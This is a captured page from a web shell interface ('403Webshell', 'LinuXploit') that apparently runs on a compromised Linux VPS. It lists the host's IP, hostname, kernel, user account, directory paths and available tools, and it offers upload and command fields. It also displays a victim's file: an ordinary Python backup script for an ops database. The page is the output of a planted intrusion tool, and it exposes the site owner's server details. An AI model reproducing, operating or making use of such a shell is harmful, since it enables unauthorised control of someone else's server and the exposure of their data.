403Webshell
Server IP : 216.92.14.13  /  Your IP : 216.73.216.171
Web Server : Apache
System : Linux vps4089.pairvps.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : rmlac2fmr ( 1040637)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/home/rmlac2fmr/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/home/rmlac2fmr/backup.py
#!/usr/bin/env python3
"""JBT Ops daily backup - keeps last 30 days of db.json backups"""
import shutil, os, glob
from datetime import datetime

DB = "/home/rmlac2fmr/public_html/jn.com/ops/data/db.json"
BACKUP_DIR = "/home/rmlac2fmr/backups"

os.makedirs(BACKUP_DIR, exist_ok=True)

# Create today's backup
today = datetime.now().strftime("%Y-%m-%d")
dest = os.path.join(BACKUP_DIR, f"db-{today}.json")
shutil.copy2(DB, dest)
size = os.path.getsize(dest)
print(f"Backup created: {dest} ({size:,} bytes)")

# Remove backups older than 30 days
backups = sorted(glob.glob(os.path.join(BACKUP_DIR, "db-*.json")))
while len(backups) > 30:
    old = backups.pop(0)
    os.remove(old)
    print(f"Removed old backup: {old}")

print(f"Total backups: {len(glob.glob(os.path.join(BACKUP_DIR, 'db-*.json')))}")

Youez - 2016 - github.com/yon3zu
LinuXploit